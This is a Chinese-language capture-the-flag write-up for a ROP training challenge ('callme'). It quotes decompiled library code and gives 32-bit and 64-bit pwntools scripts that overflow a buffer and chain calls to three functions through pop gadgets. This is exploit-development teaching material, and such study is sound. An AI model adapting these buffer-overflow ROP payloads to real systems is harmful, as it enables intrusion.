一定要细心,不是所有的flag都叫flag
(做题一定要产生疑惑,他给我们这么多文件,是不是让我们利用的
)我们在主文件什么都没有找到,前往(libcallme32.so)找一下
int __cdecl callme_one(int a1, int a2, int a3) //一定要多看看function name
{
FILE *stream; // [sp+Ch] [bp-Ch]@4
if ( a1 != 1 || a2 != 2 || a3 != 3 ) //我们插入的a1,a2,a3 只要是1.2.3.就可以跳过判断
{
puts("Incorrect parameters");
exit(1);
}
stream = fopen("encrypted_flag.txt", (const char *)&unk_9C4); //我们的flag
if ( !stream )
{
puts("Failed to open encrypted_flag.txt");
exit(1);
}
首先想到我们可以,利用ret返回地址,跳转到我们的callme处,然后需要将栈保持平衡,我们用pop弹出我们的数据,然后才能执行下一个callme_?。 三个函数用的是同一块栈的位置。
调用callme_one
ropgadget32
from pwn import*
#context.log_level = 'debug'
p = process("./callme32")
#p = remote("","")
pop3ret_addr = 0x80488a9
callme_one_addr = 0x80485C0
callme_two_addr = 0x8048620
callme_tree_addr = 0x80485B0
payload = 'A'*0x28 +p32(0)
payload += p32(callme_one_addr) + p32(pop3ret_addr) +p32(1)+p32(2)+p32(3)
payload += p32(callme_two_addr) + p32(pop3ret_addr) +p32(1)+p32(2)+p32(3)
payload += p32(callme_tree_addr) + p32(pop3ret_addr) +p32(1)+p32(2)+p32(3)
p.sendline(payload)
p.interactive()
64
from pwn import*
#context.log_level = 'debug'
p = process('./callme')
#p = remote("","")
pop_rdi_rsi_rdx_addr = 0x401ab0
callme_one_addr = 0x401850
callme_two_addr = 0x401870
callme_tree_addr = 0x401810
#在64位里面 我们不需要考虑堆栈平衡 因为他的传递是有6个寄存器传递的,我们只需要考虑,它的入栈的数据
payload = 'A'*0x28
payload += p64(pop_rdi_rsi_rdx_addr) + p64(1)+p64(2)+p64(3)+p64(callme_one_addr)
payload += p64(pop_rdi_rsi_rdx_addr) + p64(1)+p64(2)+p64(3)+p64(callme_two_addr)
payload += p64(pop_rdi_rsi_rdx_addr) + p64(1)+p64(2)+p64(3)+p64(callme_tree_addr)
p.sendline(payload)
p.interactive()
网友评论